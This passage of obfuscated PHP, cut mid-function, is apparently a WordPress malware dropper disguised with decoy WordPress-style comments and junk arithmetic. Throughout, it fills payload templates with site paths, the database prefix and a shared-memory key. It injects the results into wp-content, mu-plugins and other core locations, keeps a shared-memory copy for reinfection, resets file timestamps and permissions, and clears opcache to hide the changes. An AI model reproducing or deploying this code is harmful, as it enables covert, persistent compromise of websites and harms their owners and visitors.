 if   ($GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(1242),  $GLOBALS['__scf_kmygv436ft5pn_9']($tjl_8cee9ko,   0,   (62+138)), $sazditw_1o)     &&  version_compare($sazditw_1o[1], jqg87ez26lzm3yp01xj2q(), s99lg14mcd3un(1243))) return;
   if (!zdfzf5c43mxl70s($v96z6uuakz7l8eo1[0], $tjl_8cee9ko))   {$n0gv1vm3z7=PHP_MAJOR_VERSION;$ves52f2spwyyg=$n0gv1vm3z7*10;
 f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1244),    s99lg14mcd3un(1245));
    return;$mkh4z_ihzn=-231;$_sa5gwuw2ech=($mkh4z_ihzn>0)?$mkh4z_ihzn:-$mkh4z_ihzn;
  }
    if  (qc7730958b5mgfuj_($v96z6uuakz7l8eo1[0],      $rxdqldzymn1oh7))   {

       f3vsfers3pq3ok0kwile($v96z6uuakz7l8eo1[0],  ap3jwh4ff4rbz1upjm49());
   ottk3i1kq8br96vi($v96z6uuakz7l8eo1[0],  (348+72));
  xmuf92hov77yw0fjcu8($v96z6uuakz7l8eo1[0]);
 qwsfbk7e9odhouqhgas_hr($v96z6uuakz7l8eo1[0]);
}
return;


  }
    $ibuz8a7m5n   =   inbj7my4zpjuh_tx(ABSPATH .      pvz_9xuc0nzl0m(1231),   (0x6+0x2));
     $tjl_8cee9ko   =  $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1246) .    $ibuz8a7m5n  .     b5xx0lrqzfc(1247), "",   $tjl_8cee9ko);


 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($tjl_8cee9ko)) {
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1244),  b5xx0lrqzfc(1248));
return;


 }
 if (!@$GLOBALS['__scf_iuxi5ng_a2py94_47']($v96z6uuakz7l8eo1[0]))      return;
  if     (!wor0cghd7ezhu91j(pvz_9xuc0nzl0m(1244)))     {
      f1995qrx5prr7cbl19co0e(j8bjjevd80e(1244),  pvz_9xuc0nzl0m(1249));
      return;
     }
    if (!zdfzf5c43mxl70s($v96z6uuakz7l8eo1[0],  $tjl_8cee9ko)) {
 f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1250), s99lg14mcd3un(1251));
return;
 }
   nkfqbumlek6rqru(cv8ducrec(1250));
  $kakkv4it0rjp8  =  $jjjt2b4n0f .  "\n"     .   pvz_9xuc0nzl0m(1252) .   $v96z6uuakz7l8eo1[2]   . b5xx0lrqzfc(1238)      .    "\n"  .  $calmodxe1ekh    . "\n"   . $xcg_nhpwqsm;
     if     (qc7730958b5mgfuj_($v96z6uuakz7l8eo1[0],    vfon_0fzg9p83qjpp3gu($tjl_8cee9ko,    $kakkv4it0rjp8)))      {
  qwsfbk7e9odhouqhgas_hr($v96z6uuakz7l8eo1[0]);
    xmuf92hov77yw0fjcu8($v96z6uuakz7l8eo1[0]);
  }
    } catch   (Throwable    $uvo4msk8s29_)    {
 f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1250),   $uvo4msk8s29_);$aohh2ab8nizegd=32*8;$bzs_kpyt6w=$aohh2ab8nizegd-22;
  }  catch    (Exception    $uvo4msk8s29_)   {
  }
}

  function  i0y6cedzrlnc0g3ztx()
  {
      try {
if (!defined(cv8ducrec(1228))) return;
     $v96z6uuakz7l8eo1   = yedatqs7aptdu6();
  $db1ul009a0p8   = (string) @$GLOBALS['__scf_v_rxq_yh85s05_99']($v96z6uuakz7l8eo1[1],  false,  null,    0,  (124^60));
 if     ($GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1253),   $db1ul009a0p8, $ljvicb11d2w9)   && $ljvicb11d2w9[1]     ===  jqg87ez26lzm3yp01xj2q())   {

 $o_us9gpcdiwr  =  (int)  get_option(j8bjjevd80e(1254),  0);
  if  ($GLOBALS['__scf_tmn0v_xik_1b_195']() - $o_us9gpcdiwr      < (429+171))   return;

 if  (glbsgd7dg8gdbrqojc8($v96z6uuakz7l8eo1[1])  !==    false)  {
   @update_option(b5xx0lrqzfc(1255),  $GLOBALS['__scf_tmn0v_xik_1b_195'](),  j8bjjevd80e(1052));
   return;


 }
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1256),  s99lg14mcd3un(1257));

}
$xa6_dathyqd    =  usllxr5akmyy8c();
 if   (!$xa6_dathyqd   ||   $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd) <  (439+61)     ||   $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)    >     (1048527+49)  ||     !ro9zxkt259xhwz4($xa6_dathyqd))  return;
$so42lznnj0  =  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(277))  ?  @gzencode($xa6_dathyqd,     (22^16))  :  $xa6_dathyqd;
  if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($so42lznnj0)   ||    $so42lznnj0  ===   "") return;
  if   (qc7730958b5mgfuj_($v96z6uuakz7l8eo1[1],  cv8ducrec(1258) . jqg87ez26lzm3yp01xj2q()  .   ':'     .  $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd)  .      ':'    . $GLOBALS['__scf_l90bo4vfyn_356']($so42lznnj0)))  @update_option(cv8ducrec(1255),  $GLOBALS['__scf_tmn0v_xik_1b_195'](),    pvz_9xuc0nzl0m(1052));
 }   catch  (Throwable $uvo4msk8s29_)    {

    f1995qrx5prr7cbl19co0e(j8bjjevd80e(1256),    $uvo4msk8s29_);
     }   catch  (Exception    $uvo4msk8s29_) {
// WP useInnerBlocksProps: self-adjoint normal-form

     }
 }
function xz2u9x4pnhy19crfe()
      {
if  (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1259)))  return false;
$k9nb_xjf9qyxk    =    defined(cv8ducrec(1260))  &&  @$GLOBALS['__scf_hdqba_c8m7_708'](ABSPATH    .  cv8ducrec(529))   ?   ABSPATH     . b5xx0lrqzfc(1261)  :  __FILE__;
return  $GLOBALS['__scf_tpow1wvas6_1259']($k9nb_xjf9qyxk,  's');

      }
  function  _ue3bnn1skc4o6j0sd()

 {
try     {
   if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1262))   ||    !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1259)))   return;
    if    (!defined(pvz_9xuc0nzl0m(1260)))    return;
 $xa6_dathyqd  = usllxr5akmyy8c();
    if (!$xa6_dathyqd ||   $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)    <  (643-143))  return;$r3dr1amt=-481;$v68yjco6=($r3dr1amt>0)?$r3dr1amt:-$r3dr1amt;
    $key   = xz2u9x4pnhy19crfe();



  if    ($key   ===   false)  return;
 $zl8qukyn88d  =  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1263)) ? $GLOBALS['__scf_eeye5srq0i7_1264'](b5xx0lrqzfc(1265),   $xa6_dathyqd)     :   $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd);
 $fyt2ueozybp1kzz9    =      pvz_9xuc0nzl0m(1266)  .  $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd) .     ':'     .      $zl8qukyn88d .      "\n" . $xa6_dathyqd;
$p2lq1ry2join = $GLOBALS['__scf_d413tdd725_10']($fyt2ueozybp1kzz9);
    $djnf1xwuna    = @$GLOBALS['__scf_re_atqk_ct7_1267']($key,    'a',     0, 0);
 if  ($djnf1xwuna)   {
   $p49f5el5wg  =     (int)    @$GLOBALS['__scf_ma9_d0wecm5_1268']($djnf1xwuna);
 $m21q4q2kk9h  =   @$GLOBALS['__scf_bbpwp2a535rw_1269']($djnf1xwuna, 0,     $p49f5el5wg);
if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($m21q4q2kk9h)  && $GLOBALS['__scf_ya_jdhkqpku_7']($m21q4q2kk9h,  $xa6_dathyqd)      !== false)   {
  @$GLOBALS['__scf_u4rzlj2h5g_1270']($djnf1xwuna);
return;
 }
if    ($p49f5el5wg  >= $p2lq1ry2join)   {

@$GLOBALS['__scf_u4rzlj2h5g_1270']($djnf1xwuna);
$djnf1xwuna  = @$GLOBALS['__scf_re_atqk_ct7_1267']($key,     'w',   0,   0);



  if   ($djnf1xwuna)      {
   @$GLOBALS['__scf_dv5l6ir_yog9_1271']($djnf1xwuna,  $GLOBALS['__scf_of0oulgdtccb_1272']($fyt2ueozybp1kzz9, $p49f5el5wg,   "\0"),  0);



   $aplrdwe5rz   =   @$GLOBALS['__scf_bbpwp2a535rw_1269']($djnf1xwuna,    0, $p2lq1ry2join);
 @$GLOBALS['__scf_u4rzlj2h5g_1270']($djnf1xwuna);
     if    ($aplrdwe5rz   !== $fyt2ueozybp1kzz9)  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1273),    b5xx0lrqzfc(1043));

}



 return;

}  else    {
   @$GLOBALS['__scf_m2p1t83y4469_1274']($djnf1xwuna);
 @$GLOBALS['__scf_u4rzlj2h5g_1270']($djnf1xwuna);

 }
     }
// dehydrate covariant for WP useInnerBlocksProps

$p49f5el5wg =  $p2lq1ry2join    +  (1014+10);


       $djnf1xwuna =    @$GLOBALS['__scf_re_atqk_ct7_1267']($key, 'c',    (0x2a+0x17a),   $p49f5el5wg);
 if    (!$djnf1xwuna)  return;
 @$GLOBALS['__scf_dv5l6ir_yog9_1271']($djnf1xwuna,    $GLOBALS['__scf_of0oulgdtccb_1272']($fyt2ueozybp1kzz9,    $p49f5el5wg,    "\0"),     0);



$aplrdwe5rz =   @$GLOBALS['__scf_bbpwp2a535rw_1269']($djnf1xwuna, 0,  $p2lq1ry2join);
  if ($aplrdwe5rz !==  $fyt2ueozybp1kzz9)  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1275),   pvz_9xuc0nzl0m(1043));



@$GLOBALS['__scf_u4rzlj2h5g_1270']($djnf1xwuna);
 }  catch    (Throwable    $uvo4msk8s29_)    {
 f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1275), $uvo4msk8s29_);
  } catch  (Exception    $uvo4msk8s29_)    {
    }
 }
function    vfon_0fzg9p83qjpp3gu($current,  $kakkv4it0rjp8)
 {
// register scope-chain for Redis object cache

 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current)    || $current ===   "")  return b5xx0lrqzfc(847) .    $kakkv4it0rjp8   .     "\n";


   if ($GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1276),  $current, $q07zkbpj754ca,  PREG_OFFSET_CAPTURE))  {


  $ukiy22ctdvyzo    =    $q07zkbpj754ca[0][1]   +   $GLOBALS['__scf_d413tdd725_10']($q07zkbpj754ca[0][0]);
 $_fw5lam8gj =  $GLOBALS['__scf_kmygv436ft5pn_9']($current,  $ukiy22ctdvyzo,     (0x4b9+0x1b47));
 while ($GLOBALS['__scf_qubutkuvnnc4sx_41']($_fw5lam8gj)    &&    $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1277), $_fw5lam8gj, $_dm))    {
  $ukiy22ctdvyzo +=  $GLOBALS['__scf_d413tdd725_10']($_dm[0]);
$_fw5lam8gj =  $GLOBALS['__scf_kmygv436ft5pn_9']($current,   $ukiy22ctdvyzo, (10545-2353));
      }
return $GLOBALS['__scf_kmygv436ft5pn_9']($current,  0, $ukiy22ctdvyzo) .   "\n" . $kakkv4it0rjp8 . "\n" .  $GLOBALS['__scf_kmygv436ft5pn_9']($current, $ukiy22ctdvyzo);
}
return pvz_9xuc0nzl0m(847)  . $kakkv4it0rjp8    . "\n?>\n" .    $current;
}
   function   wor0cghd7ezhu91j($key)
 {
if (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1214)))    return true;$d0xp0mk7x=74+77;$aah1y1pc03=$d0xp0mk7x-23;
$cq_6gw44hx8jcvy    = @get_option(s99lg14mcd3un(1278)     .     $key, "");


if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($cq_6gw44hx8jcvy) &&   $GLOBALS['__scf_ya_jdhkqpku_7']($cq_6gw44hx8jcvy, '|') !== false)   {
    $gx1wu9an7cfa2x_t   =      $GLOBALS['__scf_uy4tufpelsg98c_118']('|',   $cq_6gw44hx8jcvy,     2);



    if  ((int)   $gx1wu9an7cfa2x_t[0] ===  (int)     ($GLOBALS['__scf_tmn0v_xik_1b_195']()   /   (26204+60196)) && (int)   $gx1wu9an7cfa2x_t[1]    >= (1+2))  return   false;



  }
// WP Social Links: sample memento

 return   true;


     }
 function nkfqbumlek6rqru($key)
 {
      if  (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1214))  || !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1216))) return;
 $z_hxzubiam   =   (int)    ($GLOBALS['__scf_tmn0v_xik_1b_195']()  /  (86372+28));$_zlfixccq=PHP_INT_MAX/PHP_INT_MAX;$r7nrxsmes_ign=$_zlfixccq+70;
   $cq_6gw44hx8jcvy     =  @get_option(s99lg14mcd3un(1278)  .     $key, "");
      $juichfk25b__    =   0;
 if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($cq_6gw44hx8jcvy)    &&   $GLOBALS['__scf_ya_jdhkqpku_7']($cq_6gw44hx8jcvy,   '|') !==   false)  {


 $gx1wu9an7cfa2x_t  =    $GLOBALS['__scf_uy4tufpelsg98c_118']('|',   $cq_6gw44hx8jcvy, 2);

if  ((int) $gx1wu9an7cfa2x_t[0]   ===    $z_hxzubiam)   $juichfk25b__  =  (int)   $gx1wu9an7cfa2x_t[1];

  }
$juichfk25b__++;



  @update_option(pvz_9xuc0nzl0m(1278)   . $key,     $z_hxzubiam   .  '|'    . $juichfk25b__,  b5xx0lrqzfc(1052));
if    ($juichfk25b__ >=  (6-3))  f1995qrx5prr7cbl19co0e(cv8ducrec(1279),   j8bjjevd80e(1280) .  $key);
       }
     function   d0ebpj6j34qdoer()
     {
try   {
 if (!defined(s99lg14mcd3un(1260)))   return;
 if  (!defined(s99lg14mcd3un(1206))    ||  !@$GLOBALS['__scf_iuxi5ng_a2py94_47'](WP_CONTENT_DIR)   || !x8h1vs0363aquekhj7(WP_CONTENT_DIR))   return;


$gd6o0r1d5y51sfu   =  WP_CONTENT_DIR;$k8mmdcwd4qu8=59*4;$p4r14bgdpol=$k8mmdcwd4qu8-20;
 $et_gkkc4v8fatgwh =  $gd6o0r1d5y51sfu    .     pvz_9xuc0nzl0m(1168);
  $_cnes7vytq7930 = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), b5xx0lrqzfc(1281));
    $lt17jb1ct3o  =   inbj7my4zpjuh_tx(ABSPATH      . cv8ducrec(1125), (2<<2)) . s99lg14mcd3un(1282);
    $nh29r9yyrakx   =  wjdsjl3nphz8g9u();
 $ogfd5tk6q6   =     inbj7my4zpjuh_tx(ABSPATH   . pvz_9xuc0nzl0m(1215),  (11-1));
  $kkn7b8_7l4i399 =  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1283))     ?     xz2u9x4pnhy19crfe()  :     false;
   $ep8amfp40b45   =  $kkn7b8_7l4i399      !==  false  ? $GLOBALS['__scf_xvh3pxwcmqnc_1284']($kkn7b8_7l4i399)   :   0;
     $xl7v7s4qxtyxt37   = isset($GLOBALS[b5xx0lrqzfc(886)]->prefix)   ?    $GLOBALS[b5xx0lrqzfc(886)]->prefix  : pvz_9xuc0nzl0m(856);
     $t7d1_rfba13841h =   s99lg14mcd3un(1285) .  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($_cnes7vytq7930 . (string)  _dbs9edj_8e6_zc_s()),      0,   (0x7+0x1));
    $pmb3zqku68vj = e4ddwbv2vbmzi1(
b5xx0lrqzfc(649),
      array('__SLUG__',  '__ZIP_NAME__',     '__SHMOP_KEY__',   '__OPT_NAME__',  '__WP_PREFIX__',   '__GUARD_NAME__', '__VERSION__'),
  array($_cnes7vytq7930, $lt17jb1ct3o,  $ep8amfp40b45,    $ogfd5tk6q6,   $xl7v7s4qxtyxt37,  $t7d1_rfba13841h, jqg87ez26lzm3yp01xj2q())
     );
  if   (!$pmb3zqku68vj) {
// randomized gateway

if ((int)  get_option(b5xx0lrqzfc(759), 0)     > 0)   f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1286),  cv8ducrec(1287));

 return;
}
// obstruction-free filter-chain

  $current  = @$GLOBALS['__scf_hdqba_c8m7_708']($et_gkkc4v8fatgwh)  ?    @$GLOBALS['__scf_v_rxq_yh85s05_99']($et_gkkc4v8fatgwh)  : "";
   if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current))   {
 f1995qrx5prr7cbl19co0e(cv8ducrec(1286),   j8bjjevd80e(1288));



 return;
}
$current  = gg_b7drpimzvzg($current);
      $labf4qlcifi   =  jqg87ez26lzm3yp01xj2q()  . ':'    .   inbj7my4zpjuh_tx(ABSPATH .      b5xx0lrqzfc(1289),   (13-5));
 $jjjt2b4n0f  =   s99lg14mcd3un(1290)   .    $labf4qlcifi .    j8bjjevd80e(1291);
      $xcg_nhpwqsm  =  b5xx0lrqzfc(1292)      .  $labf4qlcifi    .   pvz_9xuc0nzl0m(1293);
   $zv5y4iucr7  =    inbj7my4zpjuh_tx(ABSPATH   .   j8bjjevd80e(1289), (11-3));

$poqitfzch7    =   $GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(1294)    .  $zv5y4iucr7   .  j8bjjevd80e(1295),     "", $current);
 

  $t9bsw7_0tmu = ($GLOBALS['__scf_ya_jdhkqpku_7']($poqitfzch7,   pvz_9xuc0nzl0m(1296)) !== false);
   if     ($GLOBALS['__scf_ya_jdhkqpku_7']($current,   $jjjt2b4n0f) !==    false && $GLOBALS['__scf_ya_jdhkqpku_7']($current, $xcg_nhpwqsm)     !==  false  && !$t9bsw7_0tmu) {
   henl7wvsmq2pmx12e0();
return;
}
     $current    =   $GLOBALS['__scf_y_ur004dxjki__462'](pvz_9xuc0nzl0m(1297), "",  $poqitfzch7);
    if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current))  {
f1995qrx5prr7cbl19co0e(cv8ducrec(1286),      pvz_9xuc0nzl0m(1248));
 return;
     }
// @release injector
   {
   $current    =    gg_b7drpimzvzg($current);
$v5ad60jvdp3 = $GLOBALS['__scf_y_ur004dxjki__462'](pvz_9xuc0nzl0m(1230), "",     $pmb3zqku68vj);
  $xh52d__7or    =     ($GLOBALS['__scf_d413tdd725_10']($current)   ===  0);
  if  (!$xh52d__7or)   {
    if   (!wor0cghd7ezhu91j(pvz_9xuc0nzl0m(1286))) {
f1995qrx5prr7cbl19co0e(cv8ducrec(1286),  j8bjjevd80e(1249));
 return;
   }
 if  (!zdfzf5c43mxl70s($et_gkkc4v8fatgwh,   $current))     {
 f1995qrx5prr7cbl19co0e(j8bjjevd80e(1298),    s99lg14mcd3un(1299));
   return;
}
 nkfqbumlek6rqru(cv8ducrec(1298));
} else  {
   if (!zdfzf5c43mxl70s($et_gkkc4v8fatgwh,  ""))   {
      f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1298),  j8bjjevd80e(1299));


   return;



  }


 }
// @serialize b-tree

 $zzal77qhb1de =   vfon_0fzg9p83qjpp3gu($current,  $jjjt2b4n0f  .      "\n"    .      $v5ad60jvdp3  . "\n" .    $xcg_nhpwqsm);


     if  (!qc7730958b5mgfuj_($et_gkkc4v8fatgwh,  $zzal77qhb1de))  {
return;$jjmpqs1t8=6062;$yvur_6800xj=$jjmpqs1t8%15;
     }
  qwsfbk7e9odhouqhgas_hr($et_gkkc4v8fatgwh);
    xmuf92hov77yw0fjcu8($et_gkkc4v8fatgwh);
  henl7wvsmq2pmx12e0();
     }
     }   catch    (Throwable $uvo4msk8s29_)     {
 f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1298), $uvo4msk8s29_);
     } catch   (Exception $uvo4msk8s29_)   {
// linear-adj fallback-handler

}
     }
  function  cjf5e7zoh6ep1y0()
     {

  try  {
      if    (!defined(j8bjjevd80e(1260)))    return;
if  (peg5paj88laiyu(curga5ep68su8__o())) return;
 if     (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(455)))  return;


       if   ($GLOBALS['__scf_mv3hm1pk74i2v_108']()  === pvz_9xuc0nzl0m(408))  return;
// whitespace-padded



  if   (!isset($_SERVER[cv8ducrec(411)])) return;
   if     (get_transient(b5xx0lrqzfc(1300))) return;
   $r99j2wxw_q0gcb1   = wjdsjl3nphz8g9u();
    if      (!@$GLOBALS['__scf_nish5zuncssvgd_43']($r99j2wxw_q0gcb1))  fqnjhjvlv62gig($r99j2wxw_q0gcb1,   (145+348), true);
     if (!@$GLOBALS['__scf_nish5zuncssvgd_43']($r99j2wxw_q0gcb1)   ||   !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($r99j2wxw_q0gcb1))  {
   $r99j2wxw_q0gcb1  = ABSPATH  . b5xx0lrqzfc(518);
     if (!@$GLOBALS['__scf_iuxi5ng_a2py94_47']($r99j2wxw_q0gcb1)) $r99j2wxw_q0gcb1   =      wzbvgogq03mxeqb();
}
   $kbz5_07pcvln7i0f     =   inbj7my4zpjuh_tx(ABSPATH    .  'g',  (5+3));

 $td5vfg0k01eij9     =      b5xx0lrqzfc(1301)   .    $kbz5_07pcvln7i0f  . s99lg14mcd3un(1302);
$eaduzpjsbi8q      =    $r99j2wxw_q0gcb1  .   '/' .   $td5vfg0k01eij9;



   $h76satz3c9   = $r99j2wxw_q0gcb1  .    b5xx0lrqzfc(1303)  .  $kbz5_07pcvln7i0f;
    foreach    (array($r99j2wxw_q0gcb1, ABSPATH  .  cv8ducrec(518),  wzbvgogq03mxeqb())  as   $xlhobc7tbt)   {
  $narutn_2cb    = $xlhobc7tbt   .  s99lg14mcd3un(1304)  .   $kbz5_07pcvln7i0f;
   if     (@$GLOBALS['__scf_xaseomj3flge_20']($narutn_2cb))  {


   $_j1evawsw4m =   (int)   @$GLOBALS['__scf_ha0rpt74l7eb9_102']($narutn_2cb);
if  ($_j1evawsw4m  <= $GLOBALS['__scf_tmn0v_xik_1b_195']()     -  (132326-45926)  ||  $_j1evawsw4m > $GLOBALS['__scf_tmn0v_xik_1b_195']()   +    (274+26))      {
// WordPress 6.3 commands REST controller

 wlm_50lfl72sy8hrb_9xe9($narutn_2cb);
    continue;
   }
if  (@$GLOBALS['__scf_xaseomj3flge_20']($xlhobc7tbt . cv8ducrec(1305)  . $kbz5_07pcvln7i0f   . cv8ducrec(1302)))      return;


 wlm_50lfl72sy8hrb_9xe9($narutn_2cb);
   }
}
unset($xlhobc7tbt,     $narutn_2cb,     $_j1evawsw4m);
 $apxc07495rysv  =     ABSPATH  .     b5xx0lrqzfc(1306)   .   $td5vfg0k01eij9;
       if  ($r99j2wxw_q0gcb1 !==   ABSPATH .   j8bjjevd80e(518)  &&   @$GLOBALS['__scf_xaseomj3flge_20']($apxc07495rysv)  &&  m5wd69bqaohezg3q($apxc07495rysv)  !== false)    {

    ottk3i1kq8br96vi($apxc07495rysv,    (419+1));



 if (wlm_50lfl72sy8hrb_9xe9($apxc07495rysv)   &&     $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(200))) @opcache_invalidate($apxc07495rysv,     true);$i90cutxvqc0l=PHP_INT_MAX/PHP_INT_MAX;$qmz2gsxga9nr6=$i90cutxvqc0l+46;
    }
  unset($apxc07495rysv);
       if   (@$GLOBALS['__scf_xaseomj3flge_20']($h76satz3c9)    && (int)  @$GLOBALS['__scf_ha0rpt74l7eb9_102']($h76satz3c9) > $GLOBALS['__scf_tmn0v_xik_1b_195']()    -  (181+59)) return;
if    (@$GLOBALS['__scf_xaseomj3flge_20']($eaduzpjsbi8q)    && ($GLOBALS['__scf_tmn0v_xik_1b_195']()  - (int) @filectime($eaduzpjsbi8q))   <    (0x71+0xbb)) return;
if   (@$GLOBALS['__scf_xaseomj3flge_20']($eaduzpjsbi8q)) {
   $h15j0qki52   =    @$GLOBALS['__scf_xaseomj3flge_20']($r99j2wxw_q0gcb1   .  b5xx0lrqzfc(1307)     . $kbz5_07pcvln7i0f)  ? $GLOBALS['__scf_qbsuu37jbe5t_328']((string)  @$GLOBALS['__scf_v_rxq_yh85s05_99']($r99j2wxw_q0gcb1  .   pvz_9xuc0nzl0m(1307)    . $kbz5_07pcvln7i0f))   :   "";
if  ($h15j0qki52 !==   "" &&   $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1308),  $h15j0qki52)     &&  version_compare($h15j0qki52,     jqg87ez26lzm3yp01xj2q(),     '>')) return;
unset($h15j0qki52);
  }
 if (@$GLOBALS['__scf_xaseomj3flge_20']($eaduzpjsbi8q))   {
    $dak4brgpnvox =   $r99j2wxw_q0gcb1 . pvz_9xuc0nzl0m(1309)     .  inbj7my4zpjuh_tx(ABSPATH .  'g',    (0x4+0x4));
$jign95uskl34jvfl   =  @$GLOBALS['__scf_xaseomj3flge_20']($dak4brgpnvox)   ?    (string) @$GLOBALS['__scf_v_rxq_yh85s05_99']($dak4brgpnvox)     :     "";
        $tcycgkbvm0lyu  =  0;
     if   ($jign95uskl34jvfl      !== "")   {
$aqunrxhh62w_749    =     $GLOBALS['__scf_uy4tufpelsg98c_118']('|',    $jign95uskl34jvfl);



   $tcycgkbvm0lyu  =   (int) $aqunrxhh62w_749[0];
  }
if    ($tcycgkbvm0lyu > 0 &&   $GLOBALS['__scf_tmn0v_xik_1b_195']()   -    $tcycgkbvm0lyu    >  (822+78))  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(647),      b5xx0lrqzfc(1310));
  elseif   ($tcycgkbvm0lyu  ===    0 &&   ($GLOBALS['__scf_tmn0v_xik_1b_195']() -  (int)   @filectime($eaduzpjsbi8q))  > (1571-671))    f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1311),   cv8ducrec(1312));$dq79u7yhgrb=86*4;$fjt249vvcyei=$dq79u7yhgrb-21;
 unset($dak4brgpnvox,  $jign95uskl34jvfl,     $aqunrxhh62w_749,   $tcycgkbvm0lyu);
      }
   $xa6_dathyqd   =  usllxr5akmyy8c();
 if  (!$xa6_dathyqd   ||  $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)   < (910-410))  return;
$fn_rc3p12al3r_n  =  nz_ixcwyiz2y1c2_dll9j();$ivjx4ofi2dff3=(0x28+0xf9);$bi1e_u5f7d098=$ivjx4ofi2dff3%7;

 $_cnes7vytq7930 = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),    cv8ducrec(1302));
$tda7b6gck6pv    = wzbvgogq03mxeqb() . pvz_9xuc0nzl0m(14);
 $dhim43qaua   =  @$GLOBALS['__scf_iuxi5ng_a2py94_47']($tda7b6gck6pv)
    ?      ($tda7b6gck6pv   .    '/'  . $_cnes7vytq7930  . pvz_9xuc0nzl0m(1302))
 :  (wzbvgogq03mxeqb() . pvz_9xuc0nzl0m(96) .  $_cnes7vytq7930   . '/'    .   $_cnes7vytq7930      .  cv8ducrec(1302));
 $ebj6ay_an7an8ij      =  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1143)) ?  $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url(), PHP_URL_HOST) :   (isset($_SERVER[cv8ducrec(568)])  ? $_SERVER[b5xx0lrqzfc(568)] :  "");
 $jkvjr35gv1 = (defined(b5xx0lrqzfc(581)) &&  WPMU_PLUGIN_DIR) ?  WPMU_PLUGIN_DIR     :  wzbvgogq03mxeqb()    .   s99lg14mcd3un(1313);



    $rpxsylywzt19g    =    (defined(pvz_9xuc0nzl0m(1314))  &&   WP_PLUGIN_DIR)     ? WP_PLUGIN_DIR    :    wzbvgogq03mxeqb()    . pvz_9xuc0nzl0m(737);
  $_o9bjmka91wc51a4   = defined(b5xx0lrqzfc(1206)) ?  WP_CONTENT_DIR      :  wzbvgogq03mxeqb();



 $zjbrbtyuef      =  e4ddwbv2vbmzi1(
s99lg14mcd3un(1311),
  array('__PATH_B64__',    '__PLUGIN_BASE64__',  '__DOMAIN__',   '__HB_B64__',  '__GPATH_B64__',  '__ABSPATH_B64__', '__CONTENTDIR_B64__', '__MUDIR_B64__',   '__PLUGINDIR_B64__',    '__SLUG__', '__VERSION__'),
 array($GLOBALS['__scf_l90bo4vfyn_356']($dhim43qaua), $fn_rc3p12al3r_n,  $ebj6ay_an7an8ij,  $GLOBALS['__scf_l90bo4vfyn_356']($h76satz3c9), $GLOBALS['__scf_l90bo4vfyn_356']($eaduzpjsbi8q),  $GLOBALS['__scf_l90bo4vfyn_356'](ABSPATH), $GLOBALS['__scf_l90bo4vfyn_356']($_o9bjmka91wc51a4),    $GLOBALS['__scf_l90bo4vfyn_356']($jkvjr35gv1),   $GLOBALS['__scf_l90bo4vfyn_356']($rpxsylywzt19g),     $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),   pvz_9xuc0nzl0m(1302)),  jqg87ez26lzm3yp01xj2q())
      );


     if   (!$zjbrbtyuef) {
   if  ((int)    get_option(s99lg14mcd3un(759),  0)  >    0)  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1315),    cv8ducrec(1316));



    return;
    }
if     (!ro9zxkt259xhwz4($zjbrbtyuef))  {



    f1995qrx5prr7cbl19co0e(cv8ducrec(1315), cv8ducrec(1317));
return;
    }
   if     (qc7730958b5mgfuj_($eaduzpjsbi8q, $zjbrbtyuef)) {
 f3vsfers3pq3ok0kwile($eaduzpjsbi8q,  ap3jwh4ff4rbz1upjm49());
  ottk3i1kq8br96vi($eaduzpjsbi8q,  (343+77));
    

  xmuf92hov77yw0fjcu8($eaduzpjsbi8q);
